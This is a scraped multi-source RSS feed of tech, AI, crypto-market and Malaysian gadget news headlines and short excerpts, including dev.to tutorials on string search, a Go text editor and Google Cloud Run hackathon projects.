    Website security has become an essential concern for both businesses and individuals. With cyberattacks growing increasingly sophisticated, choosing a reliable and robust security platform is more critical than ever. SafeLine WAF offers comprehensive security protection for your website. It not only delivers highly effective defense mechanisms but also simplifies website security management. Visit SafeLine Website SafeLine Community Edition is designed to provide small businesses and personal websites with all-around protection. Through real-time monitoring and rapid response mechanisms, it defends against various cyberattacks, safeguarding your data and ensuring the stability of your site. Distributed Denial of Service (DDoS) attacks are among the most common cyber threats today. These a…  ( 7 min )
    Battery Cooling Plates: Does Inlet Position Really Matter? I Ran the Model.
    If you’ve ever opened a battery enclosure CAD and thought, “This plate looks fine… but will the far-end cells actually see the same coolant?”, you’re in the right place. I was reviewing a battery pack where the customer only gave us total heat for the module, not per-cell values. Classic. Instead of waiting for “final” data, I just ran a few quick thermal/CFD cases on the cooling plate to see what actually changes the cell-side temperature spread. Spoiler:inlet position and flow split mattered more than the fancy channel pattern. Why simulate cooling at all? Battery cold plates are flat, look simple, and in drawings they always cool “evenly”. Real life isn’t that kind. Cells don’t heat the same. Coolant loses temperature as it travels. Corners of the plate become lazy zones if you feed…  ( 8 min )
    shadcn/ui Async Button with Loading and Error States
    Stateful Button for shadcn/ui: async feedback component with state machine architecture Key features: 🔄 Spinner and progress bar modes for different async operations ⚡ XState-powered state transitions between idle, loading, success, and error ♿ Built-in ARIA support with customizable screen reader messages 📦 Installs via shadcn CLI with full source code access 🎨 Works with all shadcn Button variants and sizes 🎯 Promise-based onClick handlers with automatic error handling Perfect for form submissions, file uploads, and any async action needing user feedback. Ships as TypeScript source code so you can customize everything. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    **Nova Twins brought a fierce, bass-heavy energy to their Tiny Desk set, kicking off with “Cleopatra” and barreling into “Monsters” with raspy vocals and mega-distorted riffs. The London duo—self-proclaimed “massive pedal nerds”—even gave us a behind-the-scenes “pedal cam” sneak peek, and Amy Love’s Harp Blaster mic added a supernatural buzz to “Hummingbird.” They closed out the concert all the way up with the hard-charging “Choose Your Fighter,” smashing every “nice girls” stereotype and proving Tiny Desk was more than ready for their raw, rock-meets-hip-hop assault. Watch on YouTube  ( 6 min )
    From Product Manager to AI Builder: What It Takes to Go from Prompt to Production
    Part 1 of 3: Getting Started This series is for solo founders and small teams without developer resources. If you have front-end and back-end developers on your team, this probably isn’t for you. — — - This is a love story! I’ve always wanted to be a developer. (Okay, a witch was my first choice, but “developer” was a close second.) Back in high school, over 20 years ago, I let classmates convince me I could never be one because I was a girl, even though I was top of my computer science class. I made it into tech anyway, just via the QA, release manager, and product management route. I’m still not a developer (nor a witch, though I’m still trying). But with the help of AI, I can finally build production-ready applications. This is my journey closing the gap between what AI can prompt an…  ( 15 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff Su’s video “4 ChatGPT Hacks that Cut My Workload in Half” dishes out four game-changing tricks—Prompt Reversal, 5-Minute Amplifier, Red Team self-critique, and Blueprint Scaffolding—to help you reverse-engineer prompts, spin content into new formats, force AI to map out its logic, and have it critique its own work. Each technique is illustrated with real-world examples you can use today, and the video even points you to a free HubSpot ChatGPT eBook, an AI course waitlist, and other handy resources to supercharge your productivity. Watch on YouTube  ( 6 min )
    Burying Carbon: How AI is Supercharging Subsurface Storage
    Burying Carbon: How AI is Supercharging Subsurface Storage The climate crisis demands radical solutions. Imagine turning the Earth itself into a giant, secure carbon battery. But safely storing captured CO2 underground requires understanding incredibly complex geological formations, and predicting how injected gas will behave over decades. Enter the new frontier of AI-powered geological modeling. At its core, this involves using machine learning to drastically improve our ability to create realistic representations of underground reservoirs. Instead of relying solely on traditional, often slow and inaccurate methods, we can leverage AI to generate a vast library of possible geological scenarios. These models are then refined by incorporating real-world sensor data from the storage site, …  ( 7 min )
    Foundational Automatic Evaluators: Scaling Multi-Task Generative EvaluatorTraining for Reasoning-Centric Domains
    New AI Evaluators Make Smart Machines Even Smarter Ever wondered how we can tell if a computer’s answer is truly clever? Scientists have built a fresh kind of AI “judge” that can grade reasoning tasks just like a human teacher. These evaluators outshine older, specialized tools and even help other AIs improve by up to 14 % when they learn from the feedback. This breakthrough shows that smarter, data‑driven judges can lift the whole AI community, bringing us closer to machines that think and reason like us. Read article comprehensive review in Paperium.net: Foundational Automatic Evaluators: Scaling Multi-Task Generative EvaluatorTraining for Reasoning-Centric Domains 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 24 min )
    Codex Vitae: Building a Self-Evolving AI Agent Platform on Google Cloud Run
    Codex Vitae: Building a Self-Evolving AI Agent Platform on Google Cloud Run Author: Shantanu Awate Introduction At the Google Cloud Run Hackathon 2025, I set out to solve a common challenge: rapidly deploying, managing, and evolving AI agents at scale. Traditional AI agent development often requires manual redeployment, complicated monitoring, and slow iteration cycles — a bottleneck for small teams and solo developers. Enter Codex Vitae, a multi-agent platform that automates the full lifecycle of AI agents, from creation to evolution. Project Overview Codex Vitae allows anyone to build their own AI agents through two modes: Quick Create: Write a prompt, deploy in 1–3 minutes, and get a fully functional AI agent. Architect Mode: Define the agent’s style, tone, beliefs, and rules. Enable au…  ( 7 min )
    How I Built AgriPath: An AI-Powered Farming Platform That Increases Profits by 90% Using Google Cloud Run and ADK
    This blog post was created for the Google Cloud Run Hackathon 2025. I'm excited to share how AgriPath leverages Cloud Run's serverless architecture and Google's Agent Development Kit to solve real farming challenges. Last year, I watched my uncle plant 7 acres of radish on December 5th. It wasn't just him—every farmer in our village did the same. We all knew what would happen next, but we did it anyway. Fast forward to February: the market flooded. Prices crashed from ₹18/kg to ₹9/kg. My uncle earned ₹630,000 when he could have made ₹1,200,000—same land, same seeds, same effort—just terrible timing. That night, I asked him: "Why didn't you plant half the field a month later?" His response changed everything: "Nobody tells us WHEN, HOW MUCH, or WHAT EXACTLY to do. We just follow what everyo…  ( 17 min )
    Unlocking AI Monetization: Earn Dual Revenue with Monetzly for LLM Apps
    Traditional Ads Don’t Work in AI Conversations. Here’s What Does. As developers, we all know the struggle: AI applications are booming, yet monetizing these innovations without disrupting user experience feels nearly impossible. Enter Monetzly—the first platform designed specifically to help developers monetize their AI apps while also allowing advertisers to connect with users in a way that feels natural and unobtrusive. Traditional ad formats—think banners and pop-ups—often clash with the seamless dialogue AI apps strive to deliver. They can disrupt the flow of conversation, leading to a frustrating user experience. This is where Monetzly's innovative approach comes into play. By focusing on conversation-native advertising, we’re redefining how developers and advertisers engage users.…  ( 7 min )
    Inside Quantum Ball: Building a Playful Oracle with AI Studio + Cloud Run
    Quantum Ball is a voice-powered manifestation oracle that fuses: your spoken question a hashed “voice signature” true quantum randomness and Gemini 2.5 Flash …into a single, short, on-brand answer that leans hopeful—but can still say “unclear” or even “no” when that feels honest. Built for the Google Cloud Run Hackathon (AI Studio Category). Live demo https://gen-lang-client-0524129649.web.app YouTube demo https://youtu.be/yDDZvLX93AE?si=H2q6BpWb7YAFCQhG The demo may be rate-limited at times; please see the repo README for details. Source code https://github.com/memetcircus/Quantum_Ball Most people don’t run out of options. They run out of belief. Quantum Ball is designed as a tiny cinematic ritual: You speak a personal, future-facing question. The system checks: is this safe, relevant, …  ( 7 min )
    Building NetGenius Instructor Copilot: A Multi-Agent AI System on Google Cloud Run
    This blog post was created for the Google Cloud Run Hackathon to share how I built NetGenius Instructor Copilot using Cloud Run Services, Cloud Run Jobs, and Google's Agent Development Kit (ADK). After 25 years of teaching Cisco CCNA courses, I've witnessed the same frustration repeated countless times: instructors spending an entire afternoon meticulously crafting a networking lab (designing the topology, writing step-by-step instructions, creating configurations for each and every device) only to discover during class that a command doesn't work, an IP address is wrong, or a verification step fails. The problem isn't lack of expertise. It's the sheer complexity of coordinating multiple moving parts: network design, CLI syntax, student instructions, and validation. A single typo can derai…  ( 9 min )
    Building Scalable, Fault-Tolerant, and Highly Available Cloud Architectures with AWS Best Practices.
    A three-tier architecture shows the structure or pattern of how an application is layered. There are 3 tiers the web tier, application and database tier. Each tier has specific task that can be managed independently from one another. In this article we are creating a highly available 3 tier architecture for a company. So, let’s get into it The Presentation Tier : Is the user interface that allows people to interact with the application. It is typically designed for use on a personal computer or mobile device and is built using HTML, CSS, and JavaScript. The Application Tier: This is the logic tier that sits between the presentation tier and the database tier and is responsible for communicating between the two. Information/request gathered through the web tier is processed in detail here. It also interacts with the database where data is stored. This tier is developed using languages like Python, Java, PHP, etc. The Database Tier: This is the component that stores and processes data and is typically built using a database management system. Scenario: You are tasked with designing and developing a highly available three-tier architecture for your company’s latest web application.  ( 6 min )
    Searching Algorithms Part 2: Pattern Matching in Strings with Z, KMP, and Rabin-Karp
    1. Introduction. The hook of today Array search taught us to keep cutting the space of possibilities. String search asks a similar question. Where in this text does a pattern occur. The naive approach tries every starting index and checks character by character. It works, but it repeats work that we could reuse. Given text s and pattern p, try every index i and compare s[i : i + len(p)] to p. def find_all_naive(s: str, p: str): n, m = len(s), len(p) out = [] for i in range(n - m + 1): # character by character to avoid creating a slice ok = True for j in range(m): if s[i + j] != p[j]: ok = False break if ok: out.append(i) return out Complexity Time: O(n m). Space: O(1). If you build th…  ( 12 min )
    Building BrainBattle AI: Simulating Your Brain's Product Decision with 9 AI Agents on Google Cloud Run published
    🧠 The Problem: 6 Hours of Shopping Hell Six hours later, I'm still paralyzed. Can't decide. Sound familiar? That's when it hit me: Comparison sites show data, but our brains make decisions through debates. We naturally argue with ourselves: 🤓 "This has better specs!" Enter BrainBattle AI - a multi-agent system that simulates your internal brain debate using 9 AI agents. 🚀 What BrainBattle Does 🤓 Tech Geek: 80/100 "Snapdragon 8 Gen 2 is flagship!" Validators: 🤔 What if you pick #2 instead? ✅ GAINS: ❌ LOSSES: 📊 Net: -3.5 points 🏗️ The Tech Stack Framework: Google Agent Development Kit (ADK) Tech Geek Brain (25% weight) tech_geek_agent = LlmAgent( Frugal Brain (30% weight - highest!) frugal_agent = LlmAgent( Status Brain (20% weight) status_agent = LlmAgent( Practical Brain (25% wei…  ( 11 min )
    From SEO Playbooks to GEO Architectures
    The Internet Didn’t Shrink. It Just Got Interpreted. Search was the great equalizer. Google turned relevance into currency — a perfectly measurable system of intent, ranking, and reward. The playbook was simple: understand demand, optimize for it, and scale. The best players — from HubSpot to Atlassian to Notion — didn’t just use SEO; they built it into their DNA. SEO became the compounding engine of B2B growth: lower CAC, higher discoverability, infinite leverage. If you could capture attention, you could buy time. Where once you competed for clicks, you now compete for citations. Because before a user ever reaches your website, their question may already have been answered — by a generative engine. ChatGPT. Gemini. Perplexity. Copilot. They don’t replace search. They sit before it — sil…  ( 17 min )
    Title: Gamma: The AI-Powered Presentation Tool That's Disrupting the Market
    Title: Gamma: The AI-Powered Presentation Tool That's Disrupting the Market Introduction In today's fast-paced business world, presentations have become an essential tool for communicating ideas and strategies. However, creating engaging and effective presentations can be a time-consuming and challenging task. That's where Gamma comes in. Gamma is an AI-powered presentation tool that's quickly gaining popularity among businesses of all sizes. In this blog post, we'll take a closer look at Gamma and its impressive achievements, including its recent $2.1 billion valuation and $100 million ARR. Gamma's Growth and Profitability According to co-founder and CEO Grant Lee, Gamma is growing quickly and profitably. The company has seen significant growth in its user base, with more and more busin…  ( 7 min )
  • Open

    Ethereum Is ‘The Infrastructure’ for Wall Street, Says Former BlackRock Executive
    Joseph Chalom is betting his next act on Ethereum, calling it the only chain institutions can trust to digitize finance.  ( 31 min )
    HBAR Declines 2.1% to $0.183 as Volume Spike Signals Technical Breakdown
    Price action retreats from resistance as institutional selling emerges at key levels.  ( 30 min )
    Bitcoin Slips Toward $103K; Miners Tumble on AI Trade Cooling, SoftBank's Nvidia Exit
    Crypto traders are taking profits on the bounce in prices, a Wintermute strategist said in a note.  ( 32 min )
    Toncoin Drops to Key $2.07 Support Level as Selling Pressure Builds
    The token briefly rose to $2.16 before reversing, with high trading volume indicating strong resistance at that level.  ( 30 min )
    ClearToken Wins UK Regulator Approval for Digital Asset Settlement Service
    ClearToken won authorization from the U.K.’s FCA to roll out CT Settle, a delivery-versus-payment settlement system for crypto, stablecoins and fiat currency.  ( 30 min )
    Lighter Raises $68M at $1.5B Valuation to Take on Decentralized Derivatives Rivals: Report
    Backed by Founders Fund, Haun Ventures and Robinhood, zk-rollup-powered Lighter plans to expand its institutional trading suite.  ( 29 min )
    Stellar Blockchain to Power Turbo Energy’s Tokenized Clean Energy Financing Initiative
    The solar energy storage firm has tapped Stellar and Taurus to tokenize debt to finance hybrid solar projects, starting with a pilot in Spain.  ( 30 min )
    BNB Slips Below $1,000 as Selling Pressure Pushes Token Into Bearish Territory
    The token's decline continues a downward trend, with resistance at $1,000-$1,008 and support at $972.85.  ( 30 min )
    Injective Launches Native EVM, Promising Faster and Cheaper DeFi
    The upgrade aims to make Injective a go-to platform by combining Ethereum compatibility with Injective’s existing high-speed infrastructure.  ( 31 min )
    CoinDesk 20 Performance Update: Uniswap (UNI) Jumps 13.5% as Index Declines
    Internet Computer (ICP) fell 5.8% and NEAR Protocol (NEAR) dropped 5.9%, leading the index lower.  ( 27 min )
    Brazil’s Central Bank Sets Crypto Rules, Establishes up to $7M Capital Bar for Firms
    The rules classify crypto activities as subject to foreign exchange and capital market rules, and require reporting of international transactions.  ( 31 min )
    Bullish Upgraded to Buy by ClearStreet as Exchange Gains Market Share, Expands Into U.S.
    Analyst Owen Lau cites Bullish’s global growth, new options platform and improving sentiment despite a lower price target.  ( 31 min )
    Intain, FIS Roll Out Tokenized Loan Marketplace on Avalanche for Small Banks
    Digital Liquidity Gateway, built on the Avalanche network, helps regional banks tokenize loans, automate settlement and connect them with investors.  ( 31 min )
    SoFi Launches Crypto Trading, Citing ‘Bank-Level Confidence’ as Key Edge
    The federally regulated lender said 60% of users prefer trading crypto with a licensed institution over exchanges, citing compliance as a trust driver.  ( 29 min )
    Change of Character: Crypto Daybook Americas
    Your day-ahead look for Nov. 11, 2025  ( 35 min )
    CoreWeave Shares Drop 9% on Weak Outlook and Data Center Delays, Core Scientific Fallout
    CoreWeave share price falls below $100 for the first time since September after Q4 warning and lingering pressure from the failed Core Scientific deal.  ( 30 min )
    Crypto Markets Today: Bitcoin, Ether Hold Steady as Traders Brace for Next Big Move
    Bitcoin held around $105,000 and ether near $3,550 as traders weighed whether the recent recovery has the strength to break higher or risks forming a lower high.  ( 33 min )
    Bitdeer Fell 20% on Wider-Than-Estimated Net Loss, ASIC Chip Delay
    The bitcoin miner and equipment maker beat revenue estimates but posted a deeper-than-expected loss and announced an ASIC delay amid uncertain AI rollout.  ( 30 min )
    Solana Drops Below Key $165 Level as Technical Support Cracks
    SOL breaks below key $165 level amid selling pressure while broader crypto markets show mixed signals during elevated volume session.  ( 32 min )
    Gemini Slumps After Missing Earnings Estimates in First Report Since IPO
    Despite revenue doubling to $50.6 million, Gemini posted a $159.5 million net loss due to high marketing and IPO-related costs.  ( 29 min )
    JPMorgan and DBS Bank Team Up on Cross-Border Tokenised Deposit Framework
    JPMorgan’s Kinexys and DBS Bank plan an interoperability system for tokenised deposits, linking their blockchain networks for 24/7 cross-border settlements.  ( 30 min )
    China Accuses U.S. of Stealing 127K BTC in High-Profile Crypto Hack
    CVERC claims the hack was conducted by a "state-level hacking organization" and suggests the U.S. seizure was part of a larger operation involving the same attackers.  ( 30 min )
    Filecoin Slides After Breaking Key Support Levels
    FIL faced heavy selling pressure as volume surged 137% above average during the technical breakdown.  ( 29 min )
    CleanSpark Shares Drop 5% After Upsizing $1.15B Convertible Note For Expansion
    The bitcoin miner expands financing to accelerate power and data center growth, joining a record surge in convertible debt issuance across bitcoin and AI firms.  ( 30 min )
    Northern Data Cut to Hold to Reflect Acquisition by Rumble: Canaccord
    The broker downgraded Northern Data to hold from buy and lowered its price target to 15 euros from 27 euros.  ( 30 min )
    Prediction Markets Say U.S. Government Shutdown Days From Ending as Health Care Fight Looms
    Polymarket traders see a 96% chance the record-long shutdown ends by mid-November, as the Senate passes a deal and pressure mounts on House Republicans to act.  ( 31 min )
    Diversification, Not Hype, Now Drives Digital Asset Investing: Sygnum
    The bank’s latest survey finds investors shifting toward portfolio balance and discretionary strategies as bitcoin’s safe-haven appeal eclipses altcoins.  ( 30 min )
    Standard Chartered to Support DeCard Stablecoin Payments in Singapore
    The bank’s collaboration with DCS aims to enable stablecoin spending through DeCard, blending digital assets with traditional finance.  ( 30 min )
    Bitcoin Cash Edges Higher 0.71% to $524.31 Breaking Above $520 Resistance
    BCH posts modest gains with surge in trading activity as technical breakout signals potential for further upside momentum.  ( 32 min )
    Ether Drops 1.5% Breaking $3,590 Support as Recovery Stalls
    Bears regained control after early rally rejection, with exceptional selling volume confirming new lower trading range around $3,565-$3,589.  ( 32 min )
    Bitcoin Slides to $105K After Resistance Rejection as 'Death Cross' Looms
    BTC drops after facing rejection at former support-turned-resistance.  ( 29 min )
    Bitcoin’s $588B Range Masks Market Vulnerabilities: 10x Research
    Bitcoin has been trading in a range above $100,000 since June, with significant market activity despite a lack of clear direction.  ( 31 min )
    Bitcoin Traders Eye Seasonal 'Santa Rally' as Fed Moves Spur Volatility Hopes
    Strategic accumulation and potential liquidity easing measures could breed a Santa rally, according to analysts.  ( 32 min )
    DOGE Tests $0.18 Floor After Intraday Breakout Sparks Profit-Taking
    The move created a lower high formation that signals a potential short-term shift in momentum.  ( 31 min )
    XRP ETF Hopes Drive Ripple-Linked Token Bulls to Target $2.65
    The breakout attempt at $2.57 met resistance as profit-taking emerged, though buyers held firm above the $2.52-$2.53 zone to confirm short-term support.  ( 31 min )
    Asia Morning Briefing: Hong Kong’s FinTech Week Belonged to Stablecoins, Not CBDCs
    Once the future of digital money, central bank digital currencies barely featured this year as Hong Kong’s focus shifted to stablecoins and Brazil’s Drex pause showed how even early adopters are rethinking the model.  ( 32 min )
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    Only 9% of developers think AI code can be used without human oversight, BairesDev survey reveals
    Senior software developers are preparing for a major shift in how they work as artificial intelligence becomes central to their workflows, according to BairesDev’s latest Dev Barometer report publishing tomorrow. VentureBeat was given an exclusive early look and the findings below come directly from that report. The quarterly global survey, which polled 501 developers and 19 project managers across 92 software initiatives, finds that nearly two-thirds (65%) of senior developers expect their roles to be redefined by AI in 2026. The data highlights a transformation underway in software development: fewer routine coding tasks, more emphasis on design and strategy, and a rising need for AI fluency. From Coders to Strategists Among those anticipating change, 74% say they expect to shift from …
    Meta’s SPICE framework lets AI systems teach themselves to reason
    Researchers at Meta FAIR and the National University of Singapore have developed a new reinforcement learning framework for self-improving AI systems. Called Self-Play In Corpus Environments (SPICE), the framework pits two AI agents against each other, creating its own challenges and gradually improving without human supervision. While currently a proof-of-concept, this self-play mechanism could provide a basis for future AI systems that can dynamically adapt to their environments, making them more robust against the unpredictability of real-world applications. The challenge of self-improving AI The goal of self-improving AI is to create systems that can enhance their capabilities by interacting with their environment. A common approach is reinforcement learning with verifiable rewards (…
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    The Download: surviving extreme temperatures, and the big whale-wind turbine conspiracy
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. The quest to find out how our bodies react to extreme temperatures Climate change is subjecting vulnerable people to temperatures that push their limits. In 2023, about 47,000 heat-related deaths are believed to…  ( 23 min )
  • Open

    Honda Super-ONE Prototype Spotted In Malaysia
    The Honda Supe-ONE Prototype, which made its debut at the recent Japan Mobility Show 2025, has been spotted on Malaysian roads. The sighting was first shared by Jon Koh, who reportedly submitted the photo to Paultan.org. The fully electric kei car was seen wearing camouflage, but its distinctive round headlights and square taillights made it […] The post Honda Super-ONE Prototype Spotted In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    AirPods Pro 3 Lightning Review: Apple’s Best Earbuds Made Even Better
    Apple’s AirPods Pro line-up has long been one of its most popular products, offering high-end audio and features that can rival (or even outdo) TWS earbuds from specialised brands. With three years since the last true upgrade (the 2024 USB-C refresh doesn’t count), the iPhone maker’s had plenty of time to cook up some improvements. […] The post AirPods Pro 3 Lightning Review: Apple’s Best Earbuds Made Even Better appeared first on Lowyat.NET.  ( 41 min )
    Samsung Wallet Finally Supports Wise In Malaysia
    Samsung Wallet will now allow and support cards from the global financial company, Wise, in Malaysia. With that, Samsung smartphone owners in the country can now make contactless payments with Samsung Pay. Samsung Pay is part of the brand’s self-named Wallet, and prior to adding Wise to its list, it supported cards from Alliance Bank, […] The post Samsung Wallet Finally Supports Wise In Malaysia appeared first on Lowyat.NET.  ( 33 min )
    Cycle & Carriage Showcases Leapmotor C10 Across Klang Valley And Penang
    Cycle & Carriage will be showcasing the Leapmotor C10 across various locations in the Klang Valley and Penang from 10 to 23 November 2025. In the Klang Valley, the all-electric SUV will be on display at the Side Atrium, LaLaport BBCC from 10–16 November, and at Starling Mall from 19–23 November, both open from 10 […] The post Cycle & Carriage Showcases Leapmotor C10 Across Klang Valley And Penang appeared first on Lowyat.NET.  ( 34 min )
    Anwar: Perodua To Launch Its Inaugural EV By Late November 2025
    Perodua is set to debut its first fully Malaysian-made electric vehicle (EV) at the end of this month, Prime Minister Datuk Seri Anwar Ibrahim announced today. Prior to this, the automaker hinted that its inaugural EV will launch towards the end of 2025, but did not provide an exact date. Anwar said the upcoming launch […] The post Anwar: Perodua To Launch Its Inaugural EV By Late November 2025 appeared first on Lowyat.NET.  ( 34 min )
    This Special Edition Death Stranding 2-Themed Exoskeleton Actually Exists
    Halloween 2025 has come and gone, but it looks like Kojima Productions didn’t get the memo. The studio recently collaborated with Beijing-based Dnsys to create a special Death Stranding 2-themed exoskeleton. Yeap, for real. Ok, so, to be fair, neither Kojima Productions nor Dnsys actually made a brand new exoskeleton from scratch. Officially known as […] The post This Special Edition Death Stranding 2-Themed Exoskeleton Actually Exists appeared first on Lowyat.NET.  ( 34 min )
    OPPO Reveals Reno15 Series Design, Storage Configurations
    OPPO will be unveiling the Reno15 lineup in its home market soon. Ahead of the official launch, the brand has been posting teasers featuring the phones to its Weibo page. The devices are also listed on the OPPO China online store for pre-order, revealing not just the design and colour options, but also storage configurations. […] The post OPPO Reveals Reno15 Series Design, Storage Configurations appeared first on Lowyat.NET.  ( 34 min )
    Shell Malaysia Demonstrates Shell Recharge App; Replaces Park Easy App
    Shell Malaysia officially unveiled its Shell Recharge App, marking its expansion in the electric vehicle (EV) scene. In conjunction with the launch, the fuel company is offering a special one-day promotion with a pricing of RM1.11 per kWh. The application is available on both the Google Play Store and Apple App Store. It’s loaded with […] The post Shell Malaysia Demonstrates Shell Recharge App; Replaces Park Easy App appeared first on Lowyat.NET.  ( 34 min )
    Grab Announces US$60 Million Investment In Remote Driving Firm Vay Technology
    Grab has announced a US$60 million (~RM250 million) investment in remote driving startup Vay Technology. Announced via its blog yesterday, the move is part of the company’s latest advancements towards autonomous mobility solutions. For those who are unfamiliar, Vay is a Germany-based company now operating in the United States which offers a unique electric car […] The post Grab Announces US$60 Million Investment In Remote Driving Firm Vay Technology appeared first on Lowyat.NET.  ( 34 min )
    Samsung Galaxy S26+ Renders Emerge Online
    The Samsung Galaxy S26 series has gone through quite a few changes throughout its development, if the rumours prove to be accurate. The tech giant initially planned to replace the Galaxy S26+ with an Edge model, but has since decided against it. Now, we are getting a first look at the S26+, courtesy of leakster […] The post Samsung Galaxy S26+ Renders Emerge Online appeared first on Lowyat.NET.  ( 35 min )
    New Rumour Suggests Apple Has Delayed The iPhone Air 2 Indefinitely
    Apple is said to have reportedly shelved plans for a second-generation iPhone Air, following weaker-than-expected demand. Doubling down on a prior rumour, a recent report by The Information is now suggesting that the tech giant has “already sharply scaled back production” of the ultra-thin model and informed engineers as well as suppliers that the next […] The post New Rumour Suggests Apple Has Delayed The iPhone Air 2 Indefinitely appeared first on Lowyat.NET.  ( 34 min )
    CMF Watch 3 Pro Lightning Review: Wrist-Mounted Multitool
    Nothing has been releasing several heavy-hitting products, be they phones or otherwise, fairly recently. However, that doesn’t mean its sub-brand CMF is a slouch by comparison, especially when it comes to accessories. A prime example of this would be today’s subject: the Watch 3 Pro, the sequel to last year’s Watch 2 Pro. Much like […] The post CMF Watch 3 Pro Lightning Review: Wrist-Mounted Multitool appeared first on Lowyat.NET.  ( 42 min )
    iQOO 15 To Launch In Malaysia In December
    The iQOO 15 officially debuted in China last month. Now, the vivo sub-brand has confirmed that it is bringing the smartphone to our shores soon, although it did not specify a launch date yet. In terms of specifications, the iQOO 15 features a Samsung 2K M14 AMOLED display with a 144Hz refresh rate, 2,600 nits […] The post iQOO 15 To Launch In Malaysia In December appeared first on Lowyat.NET.  ( 35 min )
    Kelantan Government To Provide Free Online Tuition For 2026 SPM Students
    The government of the state of Kelantan says that it plans to provide online tuition classes to SPM candidates, starting next year. The program, known as “E-Tuisyen Rakyat Sejahtera”, will be free. Datuk Wan Roslan Wan Hamat, State Education, Higher Education, Green Technology, Digital, and Innovation Committee Chairman, says that the Kelantan government is already […] The post Kelantan Government To Provide Free Online Tuition For 2026 SPM Students appeared first on Lowyat.NET.  ( 34 min )

  • Open

    What Caused Performance Issues in My Tiny RPG
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    High-performance 2D graphics rendering on the CPU using sparse strips [pdf]
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    3D Heterogeneous Integration Powers New DARPA Fab
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    Cybersecurity breach at Congressional Budget Office remains a live threat
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    Linux in a Pixel Shader – A RISC-V Emulator for VRChat
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    TTS Still Sucks
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    Sysgpu – Experimental descendant of WebGPU written in Zig
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    Zeroing in on Zero-Point Motion Inside a Crystal
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    Fei Fei Li: Spatial Intelligence is AI’s Next Frontier
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    Show HN: Davia – Open source visual, editable wiki from your codebase
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    "Snarky"; "Snark"
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    Using Generative AI in Content Production
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    Redmond, WA, turns off Flock Safety cameras after ICE arrests
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    Memory Safety for Skeptics
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    Meta Omnilingual ASR: Advancing Automatic Speech Recognition for 1600 Languages
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    The (Lazy) Git UI You Didn't Know You Need
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    Hacker News Headlines (game)
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    The 4.5T dollar elephant in the room
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    European Commission plans “digital omnibus” package to simplify its tech laws
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    The Floating Head Phenomenon
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    Canadian military will rely on army of public servants to grow its ranks by 300k
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    ClickHouse acquires LibreChat: The open-source Agentic Data Stack
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    Benchmarking leading AI agents against Google reCAPTCHA v2
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    Launch HN: Hypercubic (YC F25) – AI for COBOL and Mainframes
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    Launch HN: Hypercubic (YC F25) – AI for COBOL and Mainframes
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    Unexpected things that are people
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    Asus Ascent GX10
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    Thiel and Zuckerberg on Facebook, Millennials, and predictions for 2030
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    Games Preservation Is Hard and Sometimes Involves Private Detectives
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    Reminder to passengers ahead of move to 100% digital boarding passes
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    Zig (and the Design Choices Within)
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    Run Nix Based Environments in Kubernetes
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    LLMs are steroids for your Dunning-Kruger
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    Show HN: Tiny Diffusion – A character-level text diffusion model from scratch
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    Time to Start De-Appling
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    Help My LocalDate Isn't Flattened
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    Raycore: GPU accelerated and modular ray intersections
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    Head in the Zed Cloud
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    Multistable thin-shell metastructures for multiresponsive metabots
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    Steven Heller's Font of the Month: Archive Matrix
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    Refashion: Reconfigurable Garments via Modular Design
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    Scientists Discover "Gyromorphs" Materials to Enhance Light-Based Computers
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    Edward Burtynsky's Warning
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    Vibe Code Warning – A personal casestudy
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    DNS Provider Quad9 Sees Piracy Blocking Orders as "Existential Threat"
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    Europe to decide if 6 GHz is shared between Wi-Fi and cellular networks
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    Show HN: Reverse perspective camera for OpenGL (Three.js)
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    Installing and using HP-UX 9
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    Microsoft's lack of quality control is out of control
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    EU takes aim at plastic pellets to prevent their nightmare cleanup
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    BBC director general and News CEO resign in bias controversy
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    The Linux Kernel Looks to "Bite the Bullet" in Enabling Microsoft C Extensions
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    XSLT RIP
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    Realtime BART Arrival Display
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    Beets: The music geek's media organizer
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    The Nature of the Beast: Charles Le Brun's Human-Animal Hybrids (1806)
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    Scientists Produce Powerhouse Pigment Behind Octopus Camouflage
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    Error ABI
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    How the UK lost its shipbuilding industry
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    How to maintain good vision amidst the myopia epidemic
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    My Git history was a mess of 'update' and 'fix' – so I made AI clean it up
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    Iran faces unprecedented drought as water crisis hits Tehran
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    Show HN: DroidDock – A sleek macOS app for browsing Android device files via ADB
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    Work After Work: Notes from an Unemployed New Grad Watching the Job Market Break
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    Microsoft forms superintelligence team under AI head Mustafa Suleyman
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    Sued by Nintendo
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  • Open

    Searching Algorithms Part 3: Exploring Trees and Graphs with BFS and DFS
    1. Introduction. The hook of today In arrays and strings we searched through ordered sequences. Now we step into structures that have connections: trees and graphs. These structures describe maps, networks, social links, game states, file systems, and almost anything with relationships. When we say “search” in this context, we no longer move left or right; we move outward or deeper along edges. Two classical strategies dominate this world: Breadth-First Search (BFS) and Depth-First Search (DFS). Both visit every reachable node, but they explore in completely different orders. Before we write any BFS or DFS code, we need to understand how the order of exploration depends on two simple data structures. A stack follows Last In, First Out (LIFO) order. Think of a pile of books: you always …  ( 11 min )
    Create a Text Editor in Go - Moving the Cursor
    You can access the code of this chapter in the Kilo-Go github repository in the movingaround branch Currently your file structure should look something like this: First we need a way to track the cursor position File: editor/editor.go type EditorConfig struct { ... cx, cy int } func NewEditor(f func()) *EditorConfig { ... return &EditorConfig{ ... cx: 0, cy: 0, } } File: editor/output.go func (e *EditorConfig) editorRefreshScreen() { ... e.editorDrawRows(abuf) fmt.Fprintf(abuf, "%c[%d;%dH", utils.ESC, e.cy + 1, e.cx+1) fmt.Fprintf(abuf, "%c[?25h", utils.ESC) ... } func (e *EditorConfig) editorDrawRows(abuf *ab.AppendBuffer) { for y := range e.rows { if y == e.rows/3 { ... …  ( 10 min )
    11 AWS Security Best Practices You Must Implement Now
